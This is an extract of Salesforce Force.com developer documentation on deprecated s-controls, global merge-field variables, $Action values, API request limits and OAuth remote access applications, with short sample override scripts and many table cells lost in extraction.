Documentation Resources for Force.com Developers
About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use s-controls to add your own functionality to your Salesforce organization. Whether you are integrating a hosted application
of your own or are extending your current Salesforce user interface, use s-controls to store your code or refer to code elsewhere.
Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X
control, an Excel file, or a custom HTML Web form.
S-controls have the following attributes:
2126
Develop
Attribute Name
Description
Label
S-Control Name
The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
Type
Description
Content
Enter the content or source for your s-control. You can enter up to 1 million characters in this
field. The HTML code defines exactly how your users should view the custom s-control.
If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose
a field, and click Insert.
To create a basic formula that passes specific Salesforce data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one of
the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge
fields on those objects.
To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 1203.
To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions drop-down
list. Select a function and click Help on this function to view a description and examples
of formulas using that function.
To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the
{!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge
field.
To insert activity merge fields, select Event or Task from the Select Field Type
drop-down list.
2127
Develop
Attribute Name
Description
Tip: Internet standards require special encoding for URLs. Salesforce automatically
encodes the text from any merge field you insert into a link. Encode any additional
text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%
Salesforce automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Filename
Upload a file to display when you add this custom s-control to a custom link. The file can contain
a Java applet, Active-X control, or any other type of content you want. This option only applies
to HTML s-controls.
Prebuild In Page
This option keeps the s-control in memory, which may improve performance when the page is
reloaded because the s-control does not have to be reloaded as well. This option only applies to
HTML s-controls.
Encoding
The default encoding setting is Unicode (UTF-8). Change it if you are passing information to
a URL that requires data in a different format. This option is available when you select URL
for the Type.
See Also:
Useful S-Controls
Defining Custom S-Controls
Documentation Resources for Force.com Developers
For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with
the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access.
For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access
restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the JavaScript in
an s-control before relying on access restriction for s-control security.
2128
Develop
If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.
S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
The following terminology is used for custom s-controls in Salesforce:
Advanced Function
A formula function designed for use in custom buttons, links, and s-controls. For example, the INCLUDE advanced
function returns the content from an s-control snippet. For more details on advanced functions, see Operators and
Functions on page 1203.
Global Variable
A special merge field that you can use to reference data in your organization. For more information, see Understanding
Global Variables on page 2137.
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display
in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Snippet
A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other
methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse
in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 2131.
2129
Develop
Customize Application
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
To view the details of a custom s-control, click Your Name > Setup > Develop > S-Controls and select the s-control name.
For a description of the s-control attributes, see About S-Controls on page 2126.
To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 2124.
To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 2130.
To view a list of other components in Salesforce that reference the s-control, click Where is this used?. For more information,
see Viewing References to Salesforce Components on page 1263.
See Also:
Useful S-Controls
Tips on Building S-Controls
About S-Controls
Documentation Resources for Force.com Developers
Customize Application
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Salesforce empowers you to reference s-controls in many different areas within the application. Before deleting a custom
s-control, check where it is used.
2130
Develop
See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates
Setting Custom Buttons and Links
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use the following samples to get started using s-controls:
2131
Develop
See Also:
Defining Custom S-Controls
Tips on Building S-Controls
Understanding Global Variables
About S-Controls
Overriding Standard Buttons and Tab Home Pages
Documentation Resources for Force.com Developers
2132
Develop
To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided.
Then, override the add product action from the opportunity products object using the s-control. This example assumes you
have record types on opportunities.
Note: This example does not include the code to add products. The content in the body section simply illustrates
how to use opportunity merge fields from the opportunity products related list. Replace the body section with your
code.
Conditional Override for Editing Leads
You can override a standard action conditionally, redirecting to a standard action or custom s-control depending on certain
conditions. For example, you may want to use a separate s-control to edit leads when they have been open longer than 30 days.
Using the following example, create an s-control to evaluate if a lead has been open longer than 30 days and, if so, run your
custom s-control to edit leads. Otherwise, use the standard lead edit action.
<script type="text/javascript">
//determine if the lead has been open longer than 30 days
if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}";
}
else
{
//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}";
}
</script>
2133
Develop
To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer
than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to
determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the
EditLeadsOpenLongerThan30 s-control.
Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if
statement that evaluates on the browser. The second is the Salesforce IF function that evaluates on the server and returns a
single valuethe number of days the lead has been open, or zero if the lead is not open.
Tip: Use the URLFOR function in this example to build Salesforce URLs rather than specifying individual URLs
to ensure they are supported across releases.
To display a standard Salesforce page without invoking the override, set the no override argument in the URLFOR
function to true.
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.
Edit Contact Override
You may have your own code that you prefer to use for editing contacts. Use the s-control sample below to pass data values
using merge fields from a record detail page into a custom s-control that overrides a standard detail page button.
<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>
To implement this functionality, create an HTML s-control with the content above inserting your code in the body section.
Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the
Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists.
Note: This example does not include the code to edit contacts. The code within the body section only illustrates how
to use contact merge fields to display information about the contact. Replace the body section with your code.
Click OK to
2134
Develop
</script>
To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using
the s-control.
Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to
null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to
null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop.
Conditional Accounts Tab Home Page Override
You can override a tab home page conditionally, redirecting the original tab home page to an s-control depending on certain
conditions. For example, you may want to display an s-control, instead of the standard Accounts tab home page, to users with
a specific profile. Using the following sample code, create an s-control to display job applicant information to users with the
Recruiter profile when they click the Accounts tab; for all other users, display the standard Accounts tab home page.
To implement this, first create an s-control called ApplicantHomePage that contains the content to display to recruiters.
Next create an s-control of type HTML using the following code to implement the conditional override logic:
<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};
//when the profile is recruiter - display a custom s-control page
if (recruiter) {
window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}";
} else {
//when the profile is not recruiter - display the standard Accounts tab page
window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null,true)}";
}
</script>
Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named
Recruiter exists in your organization.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.
2135
Develop
For more information on using this function, see INCLUDE on page 1224.
Customize Application
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use the following tips when building s-controls:
If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you
put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers.
Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the
organization has selected. The Theme1 value for this merge field represents the Salesforce Classic theme and Theme2
represents the Salesforce theme. To view this merge field in an example, see Useful S-Controls on page 2131.
S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which
can include one or more merge fields, functions, or global variables.
When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the
page.
To insert activity merge fields, select Event or Task from the Select Field Type drop-down list.
See Also:
Defining Custom S-Controls
Useful S-Controls
Understanding Global Variables
About S-Controls
Documentation Resources for Force.com Developers
2136
Develop
Customize Application
Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge
fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add
to your custom component:
$Action
Description:
Use:
S-Control Example:
2137
Develop
Visualforce Example:
<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Create
New Account</apex:outputLink>
Tips:
$Api
Description:
Use:
S-Control Example:
$Api.Enterprise_Server_URL__xxx: The
Enterprise WSDL SOAP endpoint where xxx
Visualforce Example:
Tips:
2138
Develop
$Component
Description:
Use:
Visualforce Example:
function beforeTextSave() {
document.getElementById('{!$component.msgpost}').value
= myEditor.getEditorHTML();
}
Tips:
$componentLabel
Description:
A global merge field to use when referencing the label of an inputField component
on a Visualforce page that is associated with a message.
Use:
Visualforce Example:
<apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:"
style="color:red/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>
Tips:
$CurrentPage
Description:
A global merge field type to use when referencing the current Visualforce page.
Use:
Use this expression in a Visualforce page to access the current page parameters and values, the current
page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
Visualforce Example:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>
Tips:
2139
Develop
$Label
Description:
Use:
Visualforce Example:
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>
Tips:
$Label.Site
Description:
A global merge field type to use when referencing a standard label in a Visualforce page. Like all
standard labels, the text will display based on the user's language and locale.
Use:
Use this expression in a Visualforce page to access a standard label. When the application server
constructs the page to be presented to the end-users browser, the value returned depends on the
language and locale of the user.
Salesforce provides the following labels:
Label
Message
authorization_required
Authorization Required
bandwidth_limit_exceeded
change_password
Change Password
change_your_password
click_forget_password
community_nickname
Nickname
confirm_password
Confirm Password
down_for_maintenance
2140
Develop
Label
Message
email_us
email us
enter_password
error
Error: {0}
error2
Error
file_not_found
forgot_password
Forgot Password
forgot_password_confirmation
forgot_your_password_q
get_in_touch
go_to_login_page
Go to Login Page
img_path
/img/sites
in_maintenance
limit_exceeded
Limit Exceeded
login
Login
login_button
Login
login_or_register_first
logout
Logout
new_password
New Password
new_user_q
New User?
old_password
Old Password
page_not_found
page_not_found_detail
password
Password
passwords_dont_match
powered_by
Powered by
register
Register
registration_confirmation
Registration Confirmation
site_login
Site Login
site_under_construction
sorry_for_inconvenience
sorry_for_inconvenience_back_shortly
stay_tuned
Stay tuned.
2141
Develop
Label
Message
submit
Submit
temp_password_sent
thank_you_for_registering
under_construction
user_registration
username
Username
verify_new_password
Visualforce Example:
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>
Tips:
$ObjectType
Description:
Use:
2142
Develop
if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result =
sforce.connection.update(newRecords);
window.location.reload();
}
Visualforce Example:
Tips:
$Organization
Description:
Use:
2143
Develop
Visualforce Example:
$Page
Description:
Use:
Visualforce Example:
<apex:page>
<h1>Linked</h1>
<a href="{!$Page.otherPage}">This is a
link to another page</a>
</apex:page>
Tips:
$Profile
Description:
Use:
2144
Develop
Visualforce Example:
Tips:
$Profile Value
PT2
Ready Only
PT3
Solution Manager
PT4
Marketing User
PT5
Contract Manager
PT6
Partner User
PT7
Standard Platform
User
PT8
Standard Platform
One App User
PT9
PT14
2145
Develop
$RecordType
Description:
Use:
Visualforce Example:
Tips:
$Request
Description:
Use:
S-Control Example:
2146
Develop
</body>
</html>
Tips:
$Resource
Description:
Use:
Visualforce Examples:
Tips:
$SControl
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Description:
Use:
2147
Develop
S-Control Example:
Visualforce Example:
Tips:
$Site
Description:
Use:
A global merge field type to use when referencing information about the current Force.com site.
Use dot notation to access information about the current Force.com site. Note that only the following
site fields are available:
Merge Field
Description
{!$Site.Name}
{!$Site.Domain}
2148
Develop
Merge Field
Description
{!$Site.CustomWebAddress}
Returns the value of the Custom Web Address field for the
current site.
{!$Site.OriginalUrl}
{!$Site.CurrentSiteUrl}
Returns the value of the site URL for the current request (for
example, http://myco.com/ or
https://myco.force.com/prefix/).
{!$Site.LoginEnabled}
{!$Site.RegistrationEnabled}
{!$Site.IsPasswordExpired}
{!$Site.AdminEmailAddress}
Returns the value of the Site Contact field for the current
site.
{!$Site.Prefix}
Returns the URL path prefix of the current site. For example,
if your site URL is myco.force.com/partners, partners
is the path prefix. Returns null if the prefix is not defined, or
if the page was accessed using a custom Web address.
{!$Site.Template}
{!$Site.ErrorMessage}
{!$Site.ErrorDescription}
{!$Site.AnalyticsTrackingCode}
The tracking code associated with your site. This code can be
used by services like Google Analytics to track page request
data for your site.
Visualforce Example: The following example shows how to use the $Site.Template merge field:
<apex:page title="Job Application Confirmation" showHeader="false"
standardStylesheets="true">
<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">
<apex:define name="body">
<apex:form>
<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return
false;"/>
2149
Develop
<br/>
<br/>
<center><apex:outputText value="Your application has been saved.
Thank
you for your interest!"/></center>
<br/>
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>
Tips:
This global variable is available in Visualforce pages, email templates, and s-controls.
$System.OriginDateTime
Description:
Use:
Formula Example:
Visualforce Example:
Tips:
2150
Develop
$User
Description:
Use:
Visualforce Example:
Tips:
2151
Develop
These global merge fields identify the Salesforce look and feel
a user sees on a given Web page.
The difference between the two variables is that
$User.UITheme returns the look and feel set by the user,
while $User.UIThemeDisplayed returns the actual look
and feel. For example, a user may have the permissions to see
the new user interface theme look and feel, but if they are
using a browser that doesn't support that look and feel,
$User.UIThemeDisplayed returns a different value.
Factors that affect the expected theme from displaying include
the user agent of the browser and whether accessibility mode
is enabled.
Use:
Visualforce Example:
$UserRole
Description:
Use:
2152
Develop
Visualforce Example:
{!$UserRole.LastModifiedById}
Tips:
CaseAccessForAccountOwner
ContactAccessForAccountOwner
OpportunityAccessForAccountOwner
PortalType
See Also:
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Documentation Resources for Force.com Developers
2153
Develop
"Customize Application"
The following table lists the actions you can reference with the $Action global variable and the objects on which you can
perform those actions. The values available in your organization may differ depending on the features you enable.
Value
Description
Objects
Accept
Accept a record.
Activate
Activate a contract.
Contract
Add
Product2
AddCampaign
Campaign
AddInfluence
AddProduct
OpportunityLineItem
AddToCampaign
AddToOutlook
Event
AdvancedSetup
Campaign
AltavistaNews
Launch www.altavista.com/news/.
Cancel
Cancel an event.
Event
CaseSelect
Solution
Ad group
Case
Event
Google campaign
Keyword
Lead
Search phrase
SFGA version
Text ad
Contact
Lead
Account
Lead
2154
Develop
ChangeOwner
Account
Ad group
Campaign
Case
Contact
Contract
Google campaign
Keyword
Leads
Opportunities
Search phrase
SFGA version
Text ad
ChangeStatus
Case
Lead
ChoosePricebook
OpportunityLineItem
Clone
Clone a record.
CloneAsChild
CloseCase
Close a case.
Convert
ConvertLead
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Text ad
Case
Campaign Member
2155
Develop
Create_Opportunity
Campaign Member
Decline
Decline an event.
Event
Delete
Delete a record.
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad
DeleteSeries
Event
Task
DisableCustomerPortal
Contact
DisableCustomerPortalAccount
Account
DisablePartnerPortal
Contact
DisablePartnerPortalAccount
Account
Download
Download an attachment.
Attachment
Document
Edit
Edit a record.
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
2156
Develop
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad
EditAllProduct
OpportunityLineItem
EnableAsPartner
Account
EnablePartnerPortalUser
EnableSelfService
Contact
FindDup
Lead
FollowupEvent
Event
FollowupTask
Event
HooversProfile
IncludeOffline
Account
GoogleMaps
Account
Contact
Lead
GoogleNews
Display www.google.com/news.
Account
Contact
Lead
GoogleSearch
Display www.google.com.
Account
Contact
Lead
List
Ad group
Campaign
Case
Contact
Account
Lead
2157
Develop
Contract
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Solution
Text ad
LogCall
Log a call.
Activity
MailMerge
Activity
ManageMembers
Campaign
MassClose
Case
Merge
Merge contacts.
Contact
New
NewTask
Create a task.
Task
RequestUpdate
Request an update.
SelfServSelect
Solution
SendEmail
Send an email.
Activity
Activity
Ad group
Asset
Campaign
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Search phrase
SFGA version
Solution
Task
Text ad
Contact
Activity
2158
Develop
SendGmail
Sort
OpportunityLineItem
Share
Share a record.
Account
Ad group
Campaign
Case
Contact
Contract
Google campaign
Keyword
Lead
Opportunity
Search phrase
SFGA version
Text ad
Account
Activity
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad
Tab
Ad group
Campaign
Contact
Lead
2159
Develop
Case
Contact
Contract
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Solution
Text ad
Activity
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Text ad
View
View a record.
ViewAllCampaignMembers
Campaign
ViewCampaignInfluenceReport
ViewPartnerPortalUser
Contact
ViewSelfService
Contact
YahooMaps
Account
Contact
Lead
2160
Develop
YahooWeather
Display
Contact
http://weather.yahoo.com/.
See Also:
Understanding Global Variables
To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com
balances transaction loads by imposing two types of limits:
Concurrent API Request Limits
Total API Request Limits
Limit
Developer Edition
Trial organizations
Production organizations
25
Sandbox
25
Minimum
Maximum
All Editions:
N/A
DebuggingHeader on API
testing calls for Apex specified.
Valid in API version 20 and
later.
1,000
1,000
Developer Edition
5,000
5,000
5,000
1,000,000
Enterprise Edition
N/A
Salesforce: 1,000
2161
Develop
Salesforce Edition
Unlimited Edition
Salesforce: 5,000
Salesforce Platform: 5,000
Force.com - One App: 200
Gold Partner: 200
Sandbox
N/A
Minimum
Maximum
5,000
Unlimited.
However, at any
high limit, it is
likely that other
limiting factors
such as system load
may prevent you
from using your
entire allocation of
calls in a 24hour
period.
N/A
5,000,000
Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.
In the Salesforce application, administrators can view how many API requests have been issued in the last 24 hours on the
Company Information page at Your Name > Setup > Company Profile > Company Information. Administrators can also
view a more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative
Reports folder and clicking the API Usage Last 7 days report.
Note: Limits are automatically enforced for all editions.
Any action that sends a call to the API counts toward usage limits, except the following:
Outbound messages
Apex callouts
You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded
a specified percentage of the limit. For more information, see About API Usage Notifications on page 917.
For an Enterprise Edition organization with five Salesforce licenses, the request limit is 5,000 requests (5 licenses X 1,000
calls).
For an Enterprise Edition organization with 15,000 Salesforce licenses, the request limit is 1,000,000 (the number of
licenses X 1,000 calls is greater than the maximum value, so the lower limit of 1,000,000 is used).
For a Developer Edition organization that made 4,500 calls at 5:00 AM Wednesday, 499 calls at 11:00 PM Wednesday,
only one more call could successfully be made until 5:00 AM Thursday.
For an Enterprise Edition organization with 20 Gold Partner licenses, the request limit is 5,000 (the number of licenses
X 200 calls is less than the minimum value of 5,000).
2162
Develop
See Also:
Monitoring Resources
Salesforce Editions and Limits
Documentation Resources for Force.com Developers
Understanding User License Types
See Also:
Using Salesforce Help
A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce
user and the external application. OAuth is an open protocol that allows secure authentication for access to a users data,
2163
Develop
without handing out the users username and password. It is often described as the valet key of software access: a valet key
only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key.
The following is the general flow for using a remote access application with Salesforce:
1. A developer uses the remote access pages in Salesforce (Your Name > Setup > Develop > Remote Access) to define a
remote access application.
In this example, the remote access application is a web application, which uses data that already exists in Salesforce.
2. The developer uses the generated client credentials from the remote access application detail page and develops their web
application using an OAuth library.
3. A user starts to use the developers web application and performs an action that requires access to their Salesforce data.
4. The user is redirected to Salesforce using the OAuth protocol, and presented with the standard Salesforce login page.
5. Once the user successfully logs in, the Remote Access Authorization page displays. The user must verify if they want to
grant the web application access to the their Salesforce data.
6. If the user approves access, they are redirected back to the originating web application with an authorization code.
7. The web application exchanges this code for an access token, which grants them access to the users Salesforce data. In
addition, depending on the authentication flow used, a refresh token might be granted, allowing continued access to the
users account.
8. After a user has granted access to a remote access application, he or she can revoke that access by clicking Your Name >
Setup > My Personal Information > Personal Information and clicking Deny next to the name of the application in the
Remote Access related list.
While this example illustrates a common use of OAuth, Salesforce supports a number of authentication flows for OAuth 2.0,
so you can authenticate users of Web, JavaScript, desktop, or mobile applications. Salesforce currently supports OAuth versions
1.0.A and 2.0.
Note: Salesforce is compatible with Draft v225 of the OAuth 2.0 protocol from the IETF working group.
For more information on the OAuth standard, see the OAuth.net documentation.
For more information on terminology, see Remote Access Applications and OAuth Terminology on page 2165.
Note:
OAuth does not automatically limit access to a users data. Limits to data access are either specified by the users
permissions or by the package access controls of a remote access application that is included in a managed package.
Users can authorize a remote access application to access their Salesforce more than once, for example, for both a
laptop and a desktop computer. The default limit is five per application per user. If a user tries to grant access to
an application more than the organization limit, the access token for that application that hasnt been used for the
2164
Develop
longest period of time is revoked. Newer applications (using the OAuth 2.0 protocol) are automatically approved
for additional devices after the user has granted access once.
See Also:
Getting Started with Remote Access Applications
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications
Authenticating Remote Access Application OAuth
Managing Your Remote Access Applications
Installing a Package
Access Token
A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the users
Salesforce credentials.
For OAuth 1.0.A, the access token must be exchanged for a session ID.
For OAuth 2.0, the access token is a session ID, and can be used directly.
Authorization Code
Only used in OAuth 2.0. A short-lived token that represents the access granted by the end user. The authorization code
is used to obtain an access token and a refresh token. For OAuth 1.0.A, see RequestToken.
Callback URL
A URL associated with your client application. In some contexts this must be a real URL that the clients Web browser
is redirected to. In others, the URL isnt actually used; however, between your client application and the server (the
remote access application definition) the value must be same. For example, you may want to use a value that identifies
the application, such as http://MyCompany.Myapp.
Consumer
A Web site or application that uses OAuth to authenticate both the Salesforce user as well as the application on the
users behalf.
Consumer Key
A value used by the consumer to identify itself to Salesforce. Referred to as client_id in OAuth 2.0.
2165
Develop
Consumer Secret
A secret used by the consumer to establish ownership of the consumer key. Referred to as client_secret in OAuth
2.0.
Nonce
A number, often a random number, used during authentication to ensure that requests cannot be reused.
Refresh Token
Only used in OAuth 2.0. A token used by the consumer to obtain a new access token, without having the end user
approve the access again.
Request Token
A value used by the consumer to obtain authorization from the user, and exchanged for an access token. Request tokens
are only used in OAuth 1.0.A. For OAuth 2.0, see Authorization Code.
Service Provider
A Web application that allows access using OAuth. This is your Salesforce instance after remote access has been enabled.
Token Secret
A secret used by the consumer to establish ownership of a given token, both for request tokens and access tokens.
User
An individual who has a Salesforce login.
See Also:
Remote Access Application Overview
Before you start to use remote access applications, you need to consider the following:
Once you have made these decisions, you can define your remote access application.
2166
Develop
Once you add a remote access application to a package, you cannot remove it. The only way to remove a remote access
application from a package is to delete it from your organization.
When you delete a remote access application contained in a managed package, access to that application is immediately
removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the
managed package is released.
Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
Note: You cant add remote access applications to unmanaged packages.
See Also:
Remote Access Application Overview
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications
2167
Develop
Before you start to use remote access applications, you need to consider the following:
For more information, see Getting Started with Remote Access Applications on page 2166.
To define a remote access application:
1. To define a remote access application, click Your Name > Setup > Develop > Remote Access, and click New. To define
a remote access application contained in a managed package, click Your Name > Setup > Create > Packages, click the
name of the managed package, then click New in the Remote Access section.
Important: Once you add a remote access application to a package, you cannot remove it. The only way to remove
a remote access application from a package is to delete it from your organization.
2. Specify the name of the application. This is required. Salesforce.com recommends that the name of the remote access
application match the name of the actual application.
3. Specify the Callback URL, which is required and represents the URL that the user will be returned to after they approve
access for the application. This URL uses HTTPS or another protocol. For OAuth 1.0.A, this value can also be set to
OOB. It cannot use HTTP, except if the callback is to your localhost.
Tip: OAuth 2.0 refers to the callback URL as redirect_uri.
4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (use
https). The logo can be a maximum of 200 125 pixels. It is displayed on a white background.
5. Specify your Contact Phone and Contact Email. Contact Email is required.
6. In the Info URL field, you can specify a URL where users can go to get more information about the application. The
URL must use https or http protocol, cant contain spaces, and has a maximum length of 2000 characters.
7. Enter a description of the application. When a user grants access to an application, this description displays.
8. For applications, you can specify No user approval required. This means the application is automatically approved; that
is, the end-user is never asked to approve access. This only works for end-users within your own organization.
9. If youre setting up an application to login using an assertion, check the Public Key Certificate checkbox. You can
then browse to locate and upload the authentication certificate issued by your certificate authority.
10. Click Save.
2168
Develop
When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer
key and consumer secret are available globally in all Salesforce instances.
Note:
After you save a remote access definition, it may take a few minutes before it becomes available.
Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
See Also:
Remote Access Application Overview
Getting Started with Remote Access Applications
Viewing Remote Access Application Details
Remote Access Applications and OAuth Terminology
When a user requests their Salesforce data from within the external application (the consumers page), the user must be
authenticated by Salesforce. There are several steps in each authentication flow, as dictated by the OAuth standard and what
is trying to access Salesforce.
Salesforce supports the following authentication flows:
2169
Develop
SAML assertion flowThe SAML assertion flow is an alternative for organizations that are currently using SAML to
access Salesforce, and want to access the Web services API the same way. The SAML assertion flow can only be used
inside a single organization. You do not have to create a remote access application to use this assertion flow.
OAuth 2.0 username and passwordThe username-password authentication flow can be used to authenticate when the
consumer already has the users credentials.
Caution: This OAuth authentication flow involves passing the users credentials back and forth. Use this
authentication flow only when necessary. No refresh token will be issued.
